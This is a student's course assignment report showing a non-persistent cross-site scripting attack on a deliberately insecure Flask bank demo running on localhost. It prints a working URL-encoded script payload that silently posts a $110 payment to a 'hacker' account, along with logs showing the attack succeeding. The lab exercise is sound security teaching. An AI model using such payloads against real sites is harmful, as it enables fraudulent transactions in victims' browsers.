
Software Architecture Documentation

Assignment #2 Non-persistent Cross-Site Scripting

Course	Computer Communication
Professor	Bongjun Choi Prof.
Major	Computer Science and Engineering
Student ID	20172655
Name	Kangsan Lee
Submission Date	June 11, 2021.

1. Introduction and Background

Chapter 11 (The World Wide Web), Listing 11-2 [1] shows an example bank application that uses the Flask framework. This insecure payment application is prone to various scripting attacks, including the non-persistent cross-site scripting attack, where an attacker can build a URL whose query parameter includes a JavaScript [2] that makes automatic payment.

2. Logical View and Process View

- The example is an implementation of a code to generate a URL that can also display a custom message on the green box (indicated by flash) of the index page upon successful payment process (as discussed on our lecture note p67).

Specification:

1. Input:

- Attacker (named hacker) generates a URL (called attacker-generated URL) using Python code that opens a script file and then prints a URL that can be used to launch such an attack. Your code should look something like the one shown on p. 66 of our lecture note.

2. Method:

- Login as brandon (a target user).
- brandon visits the attacker-generated URL.
- brandon is redirected to the index.html that displays a custom message chosen by the attacker (e.g., Thanks, brandon) to become less suspicious.

3. Output:

- Verify that brandon has unwillingly made payments to the hacker.

3. Test Cases

- Start : if success to log-in, print attacker's URL on terminal so that Brandon could visit the attacker-generated URL.

The screenshot shows a terminal window and a web browser. The terminal window displays the output of running a Flask application named 'app_insecure.py'. The output indicates that the application is running on http://127.0.0.1:5000/ and is in production mode. It also shows a warning message: 'WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.' The terminal also shows the output of a POST request to /login, which returns a 302 status code. Below the terminal, a web browser window shows the page 'Welcome, brandon'. The page displays a list of payments: '\$125 to psf for: Registration for PyCon', '\$200 to liz for: Payment for writing that code', and '\$25 from sam for: Gas money-thanks for the ride!'. The page also has links for 'Make payment' and 'Log out'.

```
파일(F) 편집(E) 보기(V) 검색(S) 터미널(T) 도움말(H)
san@linux:~/20172655_ct$ python app_insecure.py
* Serving Flask app "app_insecure" (lazy loading)
* Environment: production
  WARNING: This is a development server. Do not use it in a production deployment.
  Use a production WSGI server instead.
* Debug mode: on
* Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
* Restarting with stat
* Debugger is active!
* Debugger PIN: 430-538-646

hacker's URL : http://localhost:5000/?flash=%3Cscript%3Evar+x+%3D+new+XMLHttpRequest%28%29%3B+x.open%28%27POST%27%2C+%27http%3A%2F%2Flocalhost%3A5000%2Fpay%27%29%3B+x.setRequestHeader%28%27Content-Type%27%2C+%27application%2Fxml-www-form-urlencoded%27%29%3B+x.send%28%27account%3Dhacker%26dollars%3D110%26memo%3DTheft%27%29%3B+%3C%2Fscript%3ETHANKS

127.0.0.1 - - [11/Jun/2021 23:36:16] "POST /login HTTP/1.1" 302 -
127.0.0.1 - - [11/Jun/2021 23:36:16] "GET / HTTP/1.1" 200 -

```

Welcome, brandon

Welcome, brandon

Your Payments

- \$125 to **psf** for: *Registration for PyCon*
- \$200 to **liz** for: *Payment for writing that code*
- \$25 from **sam** for: *Gas money-thanks for the ride!*

[Make payment](#) | [Log out](#)

상태	방식	도메인	파일	초기자	유형	전송됨	크기	시간
302	POST	localhost:5...	login	document	html	826 B	596 B	5 ms
200	GET	localhost:5...	/	document	html	751 B	596 B	15 ms
404	GET	localhost:5...	favicon.ico	FaviconLoader.js...	html	캐시됨	232 B	0 ms

- Case 1 : Make payment without attacker's URL
- > It works normally

```
127.0.0.1 - - [11/Jun/2021 23:38:35] "GET /pay HTTP/1.1" 200 -
127.0.0.1 - - [11/Jun/2021 23:38:50] "POST /pay HTTP/1.1" 302 -
127.0.0.1 - - [11/Jun/2021 23:38:50] "GET /?flash=Payment+successful HTTP/1.1" 200 -
```

Welcome, brandon

Payment successful

Your Payments

- \$125 to **psf** for: *Registration for PyCon*
- \$200 to **liz** for: *Payment for writing that code*
- \$25 from **sam** for: *Gas money-thanks for the ride!*
- \$1000 to **sam** for: *gift!*

[Make payment](#) | [Log out](#)

상태	방식	도메인	파일	초기자	유형	전송됨	크기	
302	POST	localhost:5...	pay	document	html	970 B	753 B	5 ms
200	GET	localhost:5...	/?flash=Payment+suc	document	html	908 B	753 B	2 ms
404	GET	localhost:5...	favicon.ico	FaviconLoader.jsm...	html	캐시됨	232 B	0 ms

- Case 2 : Make payment by visiting attacker's URL
 - > Brandon has unwillingly made payments to the hacker.
 - > The message of the green box displays a custom message chosen by the attacker.

```
127.0.0.1 - - [11/Jun/2021 23:41:11] "GET /?flash=%3Cscript%3E+var+x+%3D+new+XMLHttpRequest%28%29%3B+x.open%28%27POST%27%2C+%27http%3A%2F%2Flocalhost%3A5000%2Fpay%27%29%3B+x.setRequestHeader%28%27Content-Type%27%2C+%27application%2Fxml-www-form-urlencoded%27%29%3B+x.send%28%27account%3Dhacker%26dollars%3D110%26memo%3DTheft%27%29%3B+%3C%2Fscript%3ETHANKS HTTP/1.1" 200 -
127.0.0.1 - - [11/Jun/2021 23:41:11] "POST /pay HTTP/1.1" 302 -
127.0.0.1 - - [11/Jun/2021 23:41:11] "GET /?flash=Hacking+successful HTTP/1.1" 200 -
```

200 GET http://localhost:5000/?flash=<script>+var+x+%3D+new+XMLHttpRequest%28%29%3B+x.open%28%27POST%27%2C+%27http%3A%2F%2Flocalhost%3A5000%2Fpay%27%29%3B+x.setRequestHeader%28%27Content-Type%27%2C+%27application%2Fxml-www-form-urlencoded%27%29%3B+x.send%28%27account%3Dhacker%26dollars%3D110%26memo%3DTheft%27%29%3B+%3C%2Fscript%3ETHANKS HTTP/1.1

302 POST http://localhost:5000/pay HTTP/1.1

200 GET http://localhost:5000/?flash=Hacking+successful HTTP/1.1

404 GET http://localhost:5000/favicon.ico HTTP/1.1

Summary: 4 requests, 3.03 KB / 3.32 KB transferred, 83 ms, DOMContentLoaded